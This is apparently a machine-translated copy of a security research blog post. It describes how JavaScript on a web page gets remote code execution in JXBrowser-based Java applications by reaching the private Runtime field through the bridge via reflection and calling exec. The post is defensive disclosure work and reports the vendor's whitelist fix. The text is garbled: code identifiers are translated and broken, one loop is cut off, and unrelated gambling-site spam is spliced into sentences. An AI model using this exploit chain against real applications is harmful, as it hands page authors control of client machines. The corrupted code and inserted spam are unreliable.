JXBrowser JavaScript/Java桥的RCE

我最近发现自己是使用实验性扫描技术的原型jxbrowser,用于在Java应用中使用类似phantomjs的库的库。在使用JXBrowser库为Java桥上创建JavaScript时,我想知道是否可以通过调用与我提供的类别的类别来从网页上实现远程代码执行,从而攻击JXBrowser客户端。beplay体育能用吗我的JavaScript到Java Bridge看起来像这样:

browser.addscriptContextListener(新ScriptContextAdapter(){
@Override
public void onScriptContextCreated(ScriptContextEvent Event){
浏览器浏览器= event.getBrowser();
jsvalue window = browser.executejavascriptAndReturnvalue(“ window”);
window.asobject()。setProperty(“ someobj”,new somejavaclass());
}
});

此示例是从JXBrowser网站中获取的,基本上代码将脚本注入浏览器实例,检索窗口对beplay体育能用吗象并将其转换为Java JSvalue对象,然后在窗口上设置“ Someobj”,然后将Java对象传递到JavaScript窗口对象,我们有一座桥!文件说,只能使用公共课程。一旦创建了一个桥梁,我们就需要一些JavaScript与它进行交互。

settimeout(function f(){
if(window.someobj && typeof window.someobj.javafunction ==='function'){
window.someobj.javafunction(“从javascript称为java函数”);
} 别的 {
settimeout(f,0);
}
},0);

我们有一个settimeout检查是否有“ someobj”,如果不是“ someobj”,直到我们这样做。我的第一个尝试是使用getRuntime()查看我是否可以获取运行时对象的实例并执行计算。我打了电话:

window.someobj.getClass()。forname('java.lang.runtime')。getRuntime();

我回到了以下错误:

Java.lang.class Java对象中都不存在公共字段和名为“ GetRuntime”的方法。

也许不可能致电Getruntime?我试图做一些简单的事情:

window.someobj.getClass()。getSuperClass()。getName();

这似乎有效。我也尝试列举这些方法。

methods = window.someobj.getClass()。getSuperClass()。getMethods();
for(i = 0; i console.log(方法[i] .getName());
}


等待
等待
等待
等于
to
哈希码
GetClass
通知
通知

因此,我可以成功列举这些方法。我决定接下来尝试ProcessBuilder,看看会发生什么。但是,每次我试图调用构造函数失败。似乎构造函数期待着一个Java阵列。我需要以某种方式创建一个Java字符串,以便我可以将其传递给ProcessBuilder构造函数。

window.someobj.getClass()。forname(“ java.lang.processbuilder”)。newInstance(“ open”,“ - 一个计算器”);
//失败的

window.someobj.getClass()。forname(“ java.lang.processbuilder”)。newInstance([“ open”,“” - 一个计算器”];
//失败

离开这个问题一秒钟,我试图创建另一个可以证明这很脆弱的对象。我可以成功创建Java.net.socket类的实例。

window.someobj.getClass()。forname(“ java.net.socket”)。newinstance();

我尝试在此对象上调用“连接”,但再次遇到了参数的错误类型的问题。但是,这确实证明了我可以创建套接字对象,我无法使用它们,但我至少可以创建它们。值得注意的是,我没有通过任何争论来奏效。接下来,我尝试了java.io.file类,但是它又失败了,我别无选择,只能使用反射,但是任何时候函数都期望参数我无法提供正确的类型。Newinstance不起作用,调用不起作用。

我需要帮助,我需要Java专家帮助。幸运的是,在Portswigger工作,您从来beplay官网可以赌都不是房间里最聪明的人:)我向迈克和帕特里克寻求帮助。我解释了我需要一个Java数组才能将参数传递给函数的问题,因此我们开始寻找在桥梁中创建数组的方法。

迈克(Mike)认为也许使用阵列列表是答案,因为我们可以将其转换为带有方便的toarray方法的阵列。

list = window.someobj.getClass()。forname(“ java.util.arraylist”)。newInstance();
list.add(“ open”);
list.add(“ - a”);
list.add(“计算器”);
a = list.toarray();
window.someobj.getClass()。forname(“ java.lang.processbuilder”)。newInstance(a));

该电话没有提出这样的方法例外,并指出我们的论点实际上是一个JSOBJECT。因此,即使我们创建了一个阵列列表,toarray仍被桥转换为JS对象,因此正在将不正确的参数类型发送到Process Builder。

然后,我们尝试创建一个数组。再次使用反射,我们在java.lang.reflect.array上调用了新实例,但它再次抱怨说,我们的参数类型不正确,我们发送了双重,但期望有一个INT。然后,我们尝试使用java.lang.integer创建一个int。但是,我们再次有该死的参数类型问题。帕特里克(Patrick)认为我们可以使用max_int属性并创建一个巨大的数组:)但是至少我们有int,但不,桥当然是将整数从java转换为双重。

这就是我们尝试的:

window.someobj.getClass()。forname(“ java.lang.integer”)。getDeclaredField(“ max_value”)。getint(null);

But we got a null pointer exception and without arguments didn’t work either but this is JavaScript remember I thought why not send 123 and see if it will be accepted as an argument and we thought it wouldn’t work but it did in fact print out our max int. We continued trying to call the Array constructor with our max int value but it of course failed. Then we decided to look at the runtime object and see if we could use the same technique. Mike suggested using getDeclaredField and get the current runtime property and making it accessible because it was a private property and to our great delight we popped the calculator.

field = window.someobj.getClass()。forname('java.lang.runtime')。getDeclaredField(“ CurrentRuntime”);
field.setAccessible(true);
运行时= field.get(123);
runtime.exec(“打开-a计算器”);

这意味着通过使用Javascrbeplay体育能用吗ipt-Java桥的代码在JXBrowser中渲染的任何网站都可以完全控制客户。

我们私下向TeamDev(JXBrowser的制造商)报告了此问题,他们发布了一个补丁,以支持允许属性/方法的白名单。@jsaccessible注释。请注意,如果应用程序不使用@JSAccesscess的注释,则白白的任何地方都无法执行,并且上述利用仍然可以正常工作。

回到所有文章

相关的研究

每日Swig的推荐故事beplay2018官网